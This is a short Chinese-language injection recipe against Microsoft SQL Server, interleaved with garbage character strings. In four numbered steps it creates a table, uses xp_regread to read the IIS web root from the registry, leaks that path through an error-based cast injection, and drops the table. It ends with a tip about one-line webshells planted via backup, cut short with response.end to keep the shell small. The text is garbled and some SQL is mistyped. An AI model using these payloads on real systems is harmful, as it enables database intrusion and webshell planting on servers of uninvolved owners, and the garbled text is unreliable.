1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表
6 l% r3 w7 I1 W a7 `! y4 c- D
' e0 K+ R6 [, D1 k8 l9 N) L# |% ^& S% w. _0 R, U, H% z& K4 H
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’-- 将网站目录插到表字段中1 q+ M1 v2 J8 T1 Z
' k; V0 {+ L! `# d1 E4 Z2 G4 T9 r" ?1 O% q
3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data] desc)=0 ’//暴出字段; e; A8 F0 l5 |& G% L
( |7 q! f/ g- c$ e* L# P- O( P
% n3 H/ @& q% W 4、drop table [jm_tmp]-- 删除此表。7 s! S9 K! |5 S3 b$ H/ k6 D/ x
( b& I, A3 s7 k# M0 |1 u0 _" u
3 {7 W( n) S, \" s另附上备分专用一句话
6 s. V/ `5 t/ v; {' L- g3 ] 加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.& ]3 c& Q$ z6 A2 h+ v& m. U
|